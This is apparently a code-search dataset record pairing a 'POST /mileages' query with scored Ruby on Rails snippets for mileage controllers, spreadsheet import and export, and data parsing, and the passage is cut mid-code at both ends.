prop_occup_summary.update_attributes(:current_year_sf_vacant_actual=>read_via_numeral(new_row,up_col),:current_year_sf_vacant_budget=>read_via_numeral(new_row,up_col+1))\n elsif read_via_numeral(new_row,col).downcase.match(/new leases/)\n up_col = find_column_for_sum_value(new_row,col+1,oo)\n prop_occup_summary.update_attributes(:new_leases_actual=>read_via_numeral(new_row,up_col),:new_leases_budget=>read_via_numeral(new_row,up_col+1))\n elsif read_via_numeral(new_row,col).downcase.match(/renewals/)\n up_col = find_column_for_sum_value(new_row,col+1,oo)\n prop_occup_summary.update_attributes(:renewals_actual=>read_via_numeral(new_row,up_col),:renewals_budget=>read_via_numeral(new_row,up_col+1))\n elsif read_via_numeral(new_row,col).downcase.match(/expirations/)\n up_col = find_column_for_sum_value(new_row,col+1,oo)\n prop_occup_summary.update_attributes(:expirations_actual=>read_via_numeral(new_row,up_col),:expirations_budget=>read_via_numeral(new_row,up_col+1))\n end\n end\n end\n row=new_row\n end\n end\n row=row+1\n end\n #~ update_expiration_new_renewal(month,year)\n end\n end", "title": "" }, { "docid": "2b265cdb0cc18471530339250837bfa7", "score": "0.4721341", "text": "def download_data\n\t file = BusinessEnquiry.download_enquiry_data\n send_data file, :type => \"application/vnd.openxmlformates-officedocument.spreadsheetml.sheet\", filename: \"business_enquiries_#{Date.today}.xlsx\"\n\tend", "title": "" }, { "docid": "358fc6f868c21c9656c55e5c784286cc", "score": "0.4720648", "text": "def upload() \n #key = '1tntGgq7oHfEWt89AakaPzitEyuPR4Z8sL_nrD6pcRWg'\n #document = connect_to_sheet(document_key: key)\n\n # datetime of test completetion.\n @datetime = Time.now.strftime('%Y-%m-%d %H:%M:%S')\n\n\n # storage hash for all test values\n report_package = {\n \"Test Name\" => @title,\n \"Ran by\" => @author,\n \"Pass/Fail\" => @status,\n \"Runtime (minutes)\" => @runtime,\n \"Env\" => @environment,\n \"Platform\" => @os,\n \"Browser\" => @browser,\n \"Campaign\" => @grcid,\n \"Test Run ID\" => @test_id,\n \"DateTime (PST)\" => @datetime,\n }\n\n # import the buyflow report if present to the report package\n if(@buyflow_report)\n report_package = report_package.merge @buyflow_report.upload()\n end\n\n # import the UCI report if present to the report_package\n if(@uci_report)\n report_package = report_package.merge @uci_report.upload()\n end\n\n # get or create a test run for this report\n if id.nil?\n run = Testrun.new() \n else\n run = Testrun.find(id)\n end\n \n # copying values from the report_package to the test run object\n run['test name'] = report_package[\"Test Name\"].to_s\n run['runtime'] = report_package[\"Runtime (minutes)\"].to_s\n run['result'] = report_package[\"Pass/Fail\"].to_s\n run['Brand'] = report_package[\"Brand\"].to_s if report_package[\"Brand\"]\n run['Campaign'] = report_package[\"Campaign\"].to_s\n run['Platform'] = report_package[\"Platform\"].to_s if report_package[\"Platform\"]\n run['Browser'] = report_package[\"Browser\"].to_s if report_package[\"Browser\"]\n run['Env'] = report_package[\"Env\"].to_s\n run['ExpectedOffercode'] = report_package[\"Expected Offercode\"].to_s\n run['ActualOffercode'] = report_package[\"Actual Offercode\"].to_s\n run['Expected UCI'] = report_package[\"Expected UCI\"].to_s\n run['UCI HP'] = report_package[\"UCI - HP\"].to_s\n run['UCI OP'] = report_package[\"UCI - OP\"].to_s\n run['UCI CP'] = report_package[\"UCI - CP\"].to_s\n run['ConfirmationNum'] = report_package[\"Confirmation # (confirmation page)\"].to_s\n run['DateTime'] = report_package[\"DateTime (PST)\"].to_s\n run['test_suites_id'] = suite_id.to_s # recording suite id\n run['Notes'] = @notes.to_s # recording error messages\n run['Backtrace'] = @backtrace.to_s # recording backtrace value\n run['url'] = @url.to_s # recording url\n run[\"status\"] = \"Complete\" # recording test run complete status\n run[\"remote_url\"] = @remote_url # recording the Selenium Grid URL\n run[\"confoffercode\"] = report_package['confoffercode']\n run[\"vitamincode\"] = report_package['vitamincode']\n run['vitamin_pricing'] = report_package['vitamin_pricing']\n run['cart_language'] = report_package['cart_language']\n run['cart_title'] = report_package['cart_title']\n run['total_pricing'] = report_package['total_pricing']\n run['subtotal_price'] = report_package['subtotal_price']\n run['saspricing'] = report_package['saspricing']\n run['billaddress'] = report_package['billaddress']\n run['shipaddress'] = report_package['shipaddress']\n run['billemail'] = report_package['billemail']\n run['billname'] = report_package['billname']\n run['vitaminexpected'] = report_package['expectedvitamin']\n run['vitamin_description'] = report_package['vitamin_description']\n run['vitamin_title'] = report_package['vitamin_title']\n run['sas_kit_name'] = report_package['sas_kit_name']\n run['cart_quantity'] = report_package['cart_quantity']\n run['Standard'] = report_package['shipping_standard']\n run['Rush'] = report_package['shipping_rush']\n run['Overnight'] = report_package['shipping_overnight']\n run['continuitysh'] = report_package['continuity_shipping']\n run['confpricing'] = report_package['confpricing']\n run['confvitaminpricing'] = report_package['confvitaminpricing']\n run['shipping_conf'] = report_package['shipping_conf']\n run['shipping_conf_val'] = report_package['shipping_conf_val']\n run['conf_kit_name'] = report_package['conf_kit_name']\n run['conf_vitamin_name'] = report_package['conf_vitamin_name']\n run['selected_shipping'] = report_package['selected_shipping']\n run['uci_sas'] = report_package['uci_sas']\n run['kitnames'] = report_package['kitnames']\n run['sasprices'] = report_package['sasprices']\n run['lastpagefound'] = report_package['lastpagefound']\n\n # recording results in database\n run.save!\n\n # returns the Testrun\n return run\n\n end", "title": "" }, { "docid": "50076faa6a469231535f88f84cd74ae0", "score": "0.4715578", "text": "def download_sample_coeffs_file\n temp = [[\" EukS_1209_25_dT\",\"-178.012\",\"7310.55\",\"-10963.59\"], [\"Test15 (EukS_1209_25dT)\", \"-1080.785\", \"14047.58\", \"-28426.59\"]]\n send_sample_file(\"sample_calibration_file\", temp) \n end", "title": "" }, { "docid": "26ff269150b1ea6d22dda6dee41d4932", "score": "0.47134688", "text": "def import_excel\n # raise params.inspect\n \n if (params[:excel_file] && (params[:product_type] == '1')) || (params[:excel_file] && (params[:product_type] == '2')) \n \t\t app_file_content_type = Uploadedfile.app_file_content_type(params[:excel_file]) \t#approved file content type\n\t\t \n \t\t\t\n \t\t\tif app_file_content_type #accept only file of format .xls, .xlsx and .ods.\n\t\t\t\t generated_file = Uploadedfile.from_user(params[:excel_file]) \t#store metadata & return (assigned) new file(path & name)\n \t\t\t File.open(generated_file,\"wb\") { |f| f.write(params[:excel_file].read) } #store physical file into designated folder\n \t\t\t @cofile = Cofile.from_excel(generated_file,params[:product_type]) #send new file(path & name) to product model, parse & save items into product table & return all imported product\n\t\t\t\t @existingcofile = Cofile.view_already_exist_cofile \t\t\t\t\t\t #retrieval of failed import (data already exist in db)\n\t\t\t\t\n \t\t\t if !@cofile \t#if no product exist at all (not even an empty array)\n \t\t\t respond_to do |format|\n \t\tflash[:notice] = t('cofile.please_provide_data_in_standard_format_and_file_type_accordingly')\n \t\t\t format.html { render :action => \"import_cofile_from_excel\" } #17Feb2013\n \t\t\t format.xml { head :ok }\n \t\t\t flash.discard\n \t\t\t end \n \t\t\t\tend\n \t\t\t \n\t\t\t else\n \t\t respond_to do |format|\n \t\t\t flash[:notice] = t('Your selected file')+': <b>'+params[:excel_file].original_filename+'</b> '+t('is not supported')+t('Please select a file of type')\n \t\t\t format.html { render :action => \"import_cofile_from_excel\" } #17Feb2013\n \t\t\t format.xml { head :ok }\n \t\t\t flash.discard\n \t\t end\n\t\t\t end\n \t \n \t else\n \t\t respond_to do |format|\n \t\t\t flash[:notice] = t('cofile.please_select_a_file_and_product_type')\t#21Feb2013\n \t\t\t format.html { render :action => \"import_cofile_from_excel\" } #17Feb2013\n \t\t\t format.xml { head :ok }\n \t\t\t flash.discard\n \t\t end\n \t end #end of->if (params[:excel_file] && (params[:product_type] == '1')) || (params[:excel_file] && (params[:product_type] == '2')) \n end", "title": "" }, { "docid": "65fa43bc77941dafd3f8c835ed25480c", "score": "0.4700323", "text": "def show\n doc = Nokogiri::HTML(open(@parser.file.path()))\n children = doc.at('body').children[1]\n data = Array.new\n page_id = nil\n children.children.each do |node|\n\n if node.name == \"h1\"\n page_id = node.text[0..4]\n elsif node.attribute(\"class\").present? && node.attribute(\"class\").text == \"BulletList\"\n field = node.css('b').text\n targetField = field.gsub(\":\",\"\")\n help_text = node.text.gsub(field,\"\")\n help_text = help_text.gsub(\"·\",\"\")\n\n data << [page_id,targetField,help_text]\n end\n end\n #Grab our product specifications\n Spreadsheet.client_encoding = 'UTF-8'\n book = Spreadsheet::Workbook.new\n\n sheet1 = book.create_worksheet\n sheet1.name = 'My First Worksheet'\n sheet1.row(0).concat %w{ PageID TargetField Help}\n data.each_with_index do |line, index|\n helping = line[2].gsub!(\"\\r\\n\",\" \")\n helping = helping.chars.reject { |char| char.ord == 160 }.join \n sheet1.row(index+1).push line[0],line[1],helping\n end \n book.write \"#{@parser.title}.xls\"\n\n redirect_to parsers_path, notice: 'Spreadsheet was successfully created.'\n \n end", "title": "" }, { "docid": "adfc35e738872e00334606a5a5d16024", "score": "0.46976778", "text": "def update_edition_tei(arr_edition_tei_lines, int_digital_edition_id, host)\n\n\n\n #logger.debug \"I'm here\"\n\n\n \tstr_running_edition = \"\"\n tab_1 = \" \"\n tab_2 = \" \"\n tab_3 = \" \"\n tab_4 = \" \"\n tab_5 = \" \"\n tab_6 = \" \"\n tab_7 = \" \"\n \t\n \tint_open_lg = 0\n \tint_open_div = 0\n \tint_open_text = 0\n \tint_open_body = 0\n \tint_open_head = 0\n \tint_working_expression_id = 0\n \tint_working_page_id = 0\n \t\n \tint_loop_iteration = 0\n \t\n \tstr_working_conv_line_designator = \"\"\n \t\n \tarr_edition_tei_lines.each do |line| \n \t\t\n \t\tstr_line = line[0]\n \t\tstr_designator = line[1]\n \t\tint_page = line[2]\n \t\tint_expression = line[3]\n \t\tstr_page_facs = line[5]\n\n #logger.debug \"Now Re-Processing Line: \"+str_line\n \t\t\n \t\tif (int_expression != int_working_expression_id)\n \t\t\n \t\t\tif (int_loop_iteration > 0)\t\t\t\t\n \t\t\t\n \t\t\t \t#close out any remaining lgs\n \t\t\t\twhile int_open_lg > 0\n \t\t\t\t\n# \t\t\t\t\tif (int_open_head > 0)\n#\t\t\t\t\t\tstr_running_edition = str_running_edition + tab_7 + \"</head>\\n\"\n#\t\t\t\t\t\tint_open_head = int_open_head - 1\n#\t\t\t\t\tend\n \t\t\t\t\n \t\t\t\t\n \t\t\t\t\tstr_running_edition = str_running_edition + tab_6 + \"</lg>\\n\"\n \t\t\t\t\tint_open_lg = int_open_lg - 1\n \t\t\t\tend\n \t\t\t\n \t\t\t\tstr_running_edition = str_running_edition + tab_5 + \"</div>\\n\" + tab_4 + \"</body>\\n\" + tab_3 + \"</text>\\n\"\n \t\t\t\tint_open_div = int_open_div - 1\n \t\t\t\tint_open_text = int_open_text - 1\n \t\t\t\tint_open_body = int_open_body - 1\n \t\t\t\tstr_working_conv_line_designator = \"\"\n \t\t\t\t\n \t\t\tend\n\n \t\t\tstr_running_edition = str_running_edition + tab_3 + \"<text type=\\\"expression\\\" xml:id=\\\"EX_\" + int_expression.to_s + \"\\\">\\n\"\n \t\t\t# str_running_edition = str_running_edition + tab_3 + \"<index indexName=\\\"EXPRESSIONS\\\" xml:id=\\\"EX_\" + int_expression.to_s + \"\\\" />\\n\"\n \t\t\tstr_running_edition = str_running_edition + tab_3 + \"<index indexName=\\\"EXPRESSIONS\\\" />\\n\"\n\t\t\tstr_running_edition = str_running_edition + tab_4 + \"<body>\\n\"\n\t\t\t# str_running_edition = str_running_edition + tab_5 + \"<div type=\\\"EXPRESSIONS\\\" xml:id=\\\"EX_\" + int_expression.to_s + \"\\\">\\n\"\n\t\t\tstr_running_edition = str_running_edition + tab_5 + \"<div type=\\\"EXPRESSIONS\\\">\\n\"\n \t\t\t\n \t\t\tint_open_div = int_open_div + 1\n \t\t\tint_open_text = int_open_text + 1\n \t\t\tint_open_body = int_open_body + 1\n \t\t\t\n \t\t\tint_working_expression_id = int_expression\n \t\tend\n \t\t\n \t\t\n\n \t\t\n \t\t\n \t\t# deal with page breaks\n \t\tif (int_page != int_working_page_id)\n \t\t\tint_pb_tab_spaces = 18 + (3 * int_open_lg)\n \t\t\tstr_pb_tab_string = \"\"\n\t\t \twhile int_pb_tab_spaces > 0\n\t\t \t\tstr_pb_tab_string = str_pb_tab_string + \" \"\n\t\t \t\tint_pb_tab_spaces = int_pb_tab_spaces - 1\n\t\t \tend \n \t\t\tstr_running_edition = str_running_edition + str_pb_tab_string \n \t\t\tif (int_open_head > 0)\n \t\t\t\tstr_running_edition = str_running_edition + \" \"\n \t\t\tend\n \t\t\tstr_running_edition = str_running_edition + \"<pb facs=\\\"http://\" + host.to_s + str_page_facs.to_s + \"\\\"/>\\n\"\n \t\t\tint_working_page_id = int_page\n \t\tend \t\n \t\t\n \t\t\n \t\t\n \t\t\n \t\t\t\t\n \t\t# deal with lgs\n \t\tstr_conv_desigator = str_designator.gsub(/O/,\"0\")\n \t\tstr_conv_desigator = str_designator.gsub(/\\dHE/,\"XHE\")\n \t\t# str_group_type = get_lg_type(str_conv_desigator)\n \t\t\n \t\tif (str_working_conv_line_designator.length) < 1\n \t\t\n \t\t\tstr_running_edition = str_running_edition + tab_6 + \"<lg\"\n \t\t\t\n \t\t\tif (str_conv_desigator =~ /STZ/ || str_conv_desigator =~ /SZB/ || str_conv_desigator =~ /SZN/)\n \t\t\t\tstr_running_edition = str_running_edition + \" type=\\\"stanza\\\"\"\n \t\t\tend\n \t\t\t \t\t\t\n \t\t\tstr_running_edition = str_running_edition + \">\\n\";\n \t\t\tint_open_lg = int_open_lg + 1\n \t\t\tstr_working_conv_line_designator = str_conv_desigator\n \t\telse\n \t\t\n \t\t\tif (str_working_conv_line_designator != str_conv_desigator )\n \t\t\t\n \t\t\t\tif (str_conv_desigator =~ /\\d+/ && (str_working_conv_line_designator =~ /\\d+/ || str_working_conv_line_designator =~ /STZ/ || str_working_conv_line_designator =~ /SZB/ || str_working_conv_line_designator =~ /SZN/ || str_working_conv_line_designator =~ /XHE/))\n \t\t\t\t\t\n \t\t\t\t\tif (str_line =~ /margin-top:/ && (str_working_conv_line_designator !~ /\\D+/ || str_working_conv_line_designator =~ /XHE/))\n# \t\t\t\t\t\tint_did_head = 0\n# \t\t\t\t\t\tif (int_open_head > 0)\n#\t\t\t\t\t\t\tstr_running_edition = str_running_edition + tab_7 + \"</head>\\n\"\n#\t\t\t\t\t\t\tint_did_head = int_did_head + 1\n#\t\t\t\t\t\tend\n \t\t\t\t\t\tstr_running_edition = str_running_edition + tab_6 + \"</lg>\\n\"\n \t\t\t\t\t\tstr_running_edition = str_running_edition + tab_6 + \"<lg>\\n\"\n# \t\t\t\t\t\tif (int_did_head > 0)\n# \t\t\t\t\t\t\tstr_running_edition = str_running_edition + tab_7 + \"<head>\\n\"\n# \t\t\t\t\t\tend\n \t\t\t\t\tend\n \t\t\t\t\n \t\t\t\t\t# check here to see if this is a new stanza\n \t\t\t\t\tint_temp_num = 1\n \n \t\t\t\telse\n \t\t\t\t\n\t\t\t\t\twhile int_open_lg > 0\n#\t\t\t\t\t\tif (int_open_head > 0)\n#\t\t\t\t\t\t\tstr_running_edition = str_running_edition + tab_7 + \"</head>\\n\"\n#\t\t\t\t\t\t\tint_open_head = int_open_head - 1\n#\t\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\t\tstr_running_edition = str_running_edition + tab_6 + \"</lg>\\n\"\n\t\t\t\t\t\tint_open_lg = int_open_lg - 1\n\t\t\t\t\tend\n\n\t\t\t\t\tstr_running_edition = str_running_edition + tab_6 + \"<lg\"\n \t\t\t\n\t\t\t\t\tif (str_conv_desigator =~ /STZ/ || str_conv_desigator =~ /SZB/ || str_conv_desigator =~ /SZN/)\n\t\t\t\t\t\tstr_running_edition = str_running_edition + \" type=\\\"stanza\\\"\"\n\t\t\t\t\tend\n\t\t\t\t\t\t\t\t\n\t\t\t\t\tstr_running_edition = str_running_edition + \">\\n\";\n\t\t\t\t\t\n\t\t\t\t\tint_open_lg = int_open_lg + 1\n\t\t\t\tend\n \t\t\t\t\n \t\t\t\t\n \t\t\t\tstr_working_conv_line_designator = str_conv_desigator\n \t\t\tend\n \n \t\tend\n \t\t\n#####\n \t\t\n \t\t\n \t\t#close out the head if there's an open one and this is a a non-head line\n#\t\tif (str_conv_desigator !~ /\\D+/ && int_open_head > 0)\n#\t\t\tstr_running_edition = str_running_edition + tab_7 + \"</head>\\n\"\n#\t\t\tint_open_head = int_open_head - 1\n#\t\tend\n \t\t\n \t\t# open a head if this is a head item and there isn't already one\n# \t\tif (str_conv_desigator =~ /\\D+/ && int_open_head == 0)\n# \t\t\tstr_running_edition = str_running_edition + tab_7 + \"<head>\\n\"\n# \t\t\tint_open_head = int_open_head + 1\n# \t\tend\n\n \t\tstr_running_edition = str_running_edition + tab_7\n# \t\tif (int_open_head > 0)\n# \t\t\tstr_running_edition = str_running_edition + \" \"\n# \t\tend \n \t\t\n \t\tstr_running_edition = str_running_edition + str_line + \"\\n\"\n \t\t\n \t\tint_loop_iteration = int_loop_iteration + 1\n \t\n \tend\n \t\n \t#close out the head if there's an open one\n# \tif (int_open_head > 0)\n# \t\tstr_running_edition = str_running_edition + tab_7 + \"</head>\\n\"\n# \tend\n \t\n \t#close out any remaining lgs\n \twhile int_open_lg > 0\n \t\tstr_running_edition = str_running_edition + tab_6 + \"</lg>\\n\"\n \t\tint_open_lg = int_open_lg - 1\n \tend\n \t\n \tstr_running_edition = str_running_edition + tab_5 + \"</div>\\n\" + tab_4 + \"</body>\\n\" + tab_3 + \"</text>\\n\"\n \t\n# \tstr_running_edition = str_running_edition.gsub(/\\s*<head>\\n\\s*<\\/head>\\n/, \"\\n\")\n\n #logger.debug str_running_edition\n\n \treturn str_running_edition\n \t\n end", "title": "" }, { "docid": "dfb3ceb2d663a599acc8eee0b25379bf", "score": "0.46957994", "text": "def process_handbook_list_file(list_file)\n if File.exist?(list_file)\n doc = Nokogiri::HTML(File.open(list_file))\n tables = doc.css(\"table\")\n title = \"\"\n notes = []\n t_table = \"\"\n tables.each do |table|\n rows = table.css(\"tr\")\n rows.each do |row|\n counter = 0\n if row.to_s.match(/name/)\n title = row.css(\"a\").text\n if !title.match(/Oracle System Handbook|Cancel|Table Legend|Exploded View/) and title.match(/[A-z]/)\n if t_table\n handle_output(t_table)\n handle_output(\"\\n\")\n end\n t_table = Terminal::Table.new :title => title, :headings => ['Option Part', 'Manufacturing Part', 'Description', 'Previous Part']\n counter = 0\n end\n else\n if title\n if !title.match(/Oracle System Handbook|Cancel|Table Legend|Exploded View/) and title.match(/[A-z]/)\n if !row.to_s.match(/Manufacturing Part#|Not Shown|Field Replaceable Unit/)\n t_row = []\n if counter > 1\n if t_table\n t_table.add_separator\n end\n else\n counter = counter + 1\n end\n supported = \"-\"\n current = \"-\"\n description = \"-\"\n previous = \"-\"\n row.css(\"td\").each do |cell|\n case cell.to_s\n when /ssh_supported|ssh_xop|ssh_expcode/\n supported = cell.text.gsub(/\\n/,\"\").gsub(/^\\s+|\\s+$/,\"\")\n when /ssh_mfpart|ssh_exppart/\n current = cell.text.gsub(/\\n/,\"\").gsub(/^\\s+|\\s+$/,\"\")\n when /ssh_desc|ssh_expdesc/\n description = cell.text.gsub(/\\n/,\"\").gsub(/^\\s+|\\s+$/,\"\")\n when /ssh_pre/\n previous = cell.text.gsub(/\\n/,\"\").gsub(/^\\s+|\\s+$/,\"\")\n when /ssh_note/\n notes.push(cell.text)\n end\n end\n if t_table\n t_row = [ supported, current, description, previous ]\n if t_row.to_s.match(/[0-9]/)\n t_table.add_row(t_row)\n end\n end\n else\n row.css(\"td\").each do |cell|\n case cell.to_s\n when /ssh_note/\n notes.push(cell.text)\n end\n end\n end\n else\n row.css(\"td\").each do |cell|\n case cell.to_s\n when /ssh_note/\n notes.push(cell.text)\n end\n end\n end\n end\n end\n end\n end\n if t_table\n handle_output(t_table)\n handle_output(\"\\n\")\n end\n if notes[0]\n notes.each do |note|\n if note.match(/^[0-9] |[0-9][0-9] /)\n note = note.gsub(/^\\n/,\"\")\n length = note.length\n if length > 75\n note = note.gsub(/\\. /,\".\\n\")\n end\n length = note.length\n if length > 75\n note = note.gsub(/\\, /,\".\\n\")\n end\n handle_output(note)\n end\n end\n handle_output(\"\\n\")\n end\n end\n return\nend", "title": "" }, { "docid": "9e2c5f5b259022db7d4972aa5d238c65", "score": "0.4694738", "text": "def run_data_collection(currencies, i)\n # retrieve/calculate all the data from cryptopia\n currencies.each_with_index do |c, j|\n id = currencies[j]['TradePairId']\n\n current_time = Time.now.strftime('%Y-%m-%d %H:%M:%S')\n\n market_data = get_market_state id\n order_data = get_market_orders id\n new_history_data = get_market_history id\n @@history_data += [new_history_data]\n\n @@completed_orders = (@@history_data[j + (currencies.size * i)] - @@history_data[j + (currencies.size * (i - 1))]) unless i == 0\n\n @@completed_buys = @@completed_orders.select{|a| a['Type'] == 'Buy'}.size\n @@completed_sells = @@completed_orders.size - @@completed_buys\n\n total_orders = i == 0 ? 'N/A' : @@completed_orders.size\n\n buy_orders = order_data['Buy']\n sell_orders = order_data['Sell']\n\n price = market_data['LastPrice']\n\n buy_sum = buy_orders.inject(0) {|sum, hash| sum + hash['Total']}\n sell_sum = sell_orders.inject(0) {|sum, hash| sum + hash['Total']}\n\n buy_sell_ratio_open = (buy_sum / sell_sum).round(5)\n\n # write results to spreadsheet\n sheet = @@doc.worksheet j\n sheet.row(0).push 'Price', 'Open Buys Total', 'Open Sells Total', 'Open Buy/Sell Ratio', 'Completed Orders In One Minute', 'Completed Buys', 'Completed Sells', 'Timestamp' if i == 0\n row = sheet.row(i + 1)\n # format = Spreadsheet::Format.new :color => :green, :weight => :bold, :size => 18\n row.push price, buy_sum, sell_sum, buy_sell_ratio_open, total_orders, @@completed_buys, @@completed_sells, current_time\n end\n\n puts \"cycle #{i + 1} complete\"\n\n @@doc.write '../output/updated_spreadsheet.xls'\nend", "title": "" }, { "docid": "771efbf317da0805d05f9caa49363700", "score": "0.46938443", "text": "def load_stock(stripwells)\r\n show do\r\n title \"Load stripwells #{stripwells.map(&:id).join(', ')} with plasmid stock\"\r\n\r\n stripwells.each_with_index do |sw, idx|\r\n note \"Stripwell #{idx + 1}\"\r\n table operations.running.select { |op| op.output('Plasmid for Sequencing').collection == sw }.start_table\r\n .custom_column(heading: 'Well') { |op| op.output('Plasmid for Sequencing').column + 1 }\r\n .input_item(PLASMID, heading: 'Stock')\r\n .custom_column(heading: 'Volume (uL)', checkable: true) { |op| op.temporary[:stock_vol] }\r\n .end_table\r\n end\r\n end\r\n end", "title": "" }, { "docid": "f843586022d298129042114b798df8c8", "score": "0.4686596", "text": "def fetch_excel_data\n ex = Roo::Excel.new(\"public/fooditems.xls\")\n ex.default_sheet = ex.sheets[0] #Mention the sheet number\n 2.upto(4493) do |line| #start and end of row\n item = ex.cell(line,'A')\n calories = ex.cell(line,'B')\n fat = ex.cell(line,'C')\n carbs = ex.cell(line,'D')\n category = ex.cell(line,'E')\n restaurant = ex.cell(line,'F')\n @menu = Menu.create(:item => item,:calories => calories,:fat => fat,\n :carbs => carbs,:category => category,:restaurant => restaurant)\n end\nend", "title": "" }, { "docid": "d2f6e0352f15b0a5cbdc31b662264150", "score": "0.468658", "text": "def get_data(sheet, version)\n result = []\n start = version == 2 ? 4 : 2\n (start..sheet.last_row).each do |i|\n row = sheet.row(i)\n \n if row_is_wrong(row) then next end\n\n result << {\n name: row[0],\n huge: row[1] || 0,\n big: row[2] || 0,\n medium: row[3] || 0,\n small: row[4] || 0}\n end\n result\n end", "title": "" } ]
ec1b6e702f8b06cc532e923b02bb62ba
POST /mileages POST /mileages.json
[ { "docid": "c19e70fb7a85e76811a6d6175e83d709", "score": "0.6667063", "text": "def create\n @mileage = Mileage.new(params[:mileage])\n \n # @mileage = Mileage.new(:start => params[:start], :end => params[:end], :date => params[:date])\n\n respond_to do |format|\n if @mileage.save\n format.html { redirect_to @mileage, notice: 'Mileage was successfully created.' }\n format.json { render json: @mileage, status: :created, location: @mileage }\n else\n format.html { render action: \"new\" }\n format.json { render json: @mileage.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "9cf89afeef10a56ffbcd5ef33f84347e", "score": "0.72092056", "text": "def create\n @admin_mileage = Admin::Mileage.new(params[:admin_mileage])\n\n respond_to do |format|\n if @admin_mileage.save\n format.html { redirect_to admin_mileages_url }\n format.json { render json: @admin_mileage, status: :created, location: @admin_mileage }\n else\n format.html { render action: \"new\" }\n format.json { render json: @admin_mileage.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e31c2317085d19fd1b943dd28c9d5fe5", "score": "0.7097299", "text": "def create\n @mileage = Mileage.new(mileage_params)\n\n respond_to do |format|\n if @mileage.save\n format.html { redirect_to @mileage, notice: 'Mileage was successfully created.' }\n format.json { render :show, status: :created, location: @mileage }\n else\n format.html { render :new }\n format.json { render json: @mileage.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "857887ed2696f0c8986c72451d72fd8d", "score": "0.67475986", "text": "def new\n @mileage = Mileage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @mileage }\n end\n end", "title": "" }, { "docid": "ac603924f4edd4ccfe9567352428c2f6", "score": "0.66207683", "text": "def mileage_params\n params.require(:mileage).permit(:vehicle_id, :drive_date, :start_mileage, :end_mileage, :total_mileage)\n end", "title": "" }, { "docid": "9c97397010c7e6757ac38145155efe09", "score": "0.6610851", "text": "def mileage_params\n params.require(:mileage).permit(:project_site_id, :vehicle_id, :invoice_id, :drive_date, :start_mileage, :end_mileage, :subtotal, :notes)\n end", "title": "" }, { "docid": "d85c243f51cfd732c2705ffe391ea488", "score": "0.6497257", "text": "def new\n @admin_mileage = Admin::Mileage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @admin_mileage }\n end\n end", "title": "" }, { "docid": "fdbb16e5818a6720925a26ba0ee68917", "score": "0.6490963", "text": "def create\n @mile = Mile.new(params[:mile])\n\n respond_to do |format|\n if @mile.save\n format.html { redirect_to @mile, notice: 'Mile was successfully created.' }\n format.json { render json: @mile, status: :created, location: @mile }\n else\n format.html { render action: \"new\" }\n format.json { render json: @mile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0d8b41063d5970ac736c068f1ee1c2ba", "score": "0.6459498", "text": "def create\n @gas_mileage = GasMileage.new(params.require(:gas_mileage).permit(:mdate, :mileage, :vehicle_id))\n\n respond_to do |format|\n if @gas_mileage.save\n format.html { redirect_to gas_mileages_url,\n notice: 'GasMileage was successfully created.' }\n format.json { render json: @gas_mileage, status: :created, location: @gas_mileage }\n else\n format.html { render action: \"new\" }\n format.json { render json: @gas_mileage.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "74db9654b5df292081b9c468befdfc25", "score": "0.64582926", "text": "def create\n @mileage = Mileage.new(params[:mileage])\n\n respond_to do |format|\n if @mileage.save\n flash[:notice] = 'Mileage was successfully created.'\n format.html { redirect_to new_mileage_url }\n format.xml { render :xml => @mileage, :status => :created, :location => @mileage }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @mileage.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f673de700fc9e4075a1d653596cd5efe", "score": "0.62736106", "text": "def set_mileage\n @mileage = Mileage.find(params[:id])\n end", "title": "" }, { "docid": "f673de700fc9e4075a1d653596cd5efe", "score": "0.62736106", "text": "def set_mileage\n @mileage = Mileage.find(params[:id])\n end", "title": "" }, { "docid": "6947f2b3a96c395c1e1eebec2d6bf6a1", "score": "0.6256129", "text": "def new\n @mile = Mile.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @mile }\n end\n end", "title": "" }, { "docid": "0fc9dcf5028651fcb57a0514c15d10f0", "score": "0.6228252", "text": "def index\n @mileages = Mileage.all\n end", "title": "" }, { "docid": "8e0463ae1a7fcbfe6201d11f28e04680", "score": "0.618571", "text": "def create\n @moto_mileage = MotoMileage.new(params[:moto_mileage])\n\n respond_to do |format|\n if @moto_mileage.save\n format.html { redirect_to(@moto_mileage, :notice => 'Moto mileage was successfully created.') }\n format.xml { render :xml => @moto_mileage, :status => :created, :location => @moto_mileage }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @moto_mileage.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1db3974564a296e54ef994b67f5db4f8", "score": "0.6102003", "text": "def new\n @gas_mileage = GasMileage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gas_mileage }\n end\n end", "title": "" }, { "docid": "22dc81e9ebd0d61153658ee5c62ed577", "score": "0.6008062", "text": "def new\n @mileage_segment = MileageSegment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @mileage_segment }\n end\n end", "title": "" }, { "docid": "aaeca5b26e903e796cec24fe4f3b616e", "score": "0.5943084", "text": "def update\n @admin_mileage = Admin::Mileage.find(params[:id])\n\n respond_to do |format|\n if @admin_mileage.update_attributes(params[:admin_mileage])\n format.html { redirect_to admin_mileages_url }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @admin_mileage.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "425e38f23a6fa2c2e61d2708b5e16f37", "score": "0.5853396", "text": "def update\n @mileage = Mileage.find(params[:id])\n\n respond_to do |format|\n if @mileage.update_attributes(params[:mileage])\n format.html { redirect_to @mileage, notice: 'Mileage was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @mileage.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "91c9c51a0a82d8a9e1451c050cf1cfc1", "score": "0.5843995", "text": "def update\n respond_to do |format|\n if 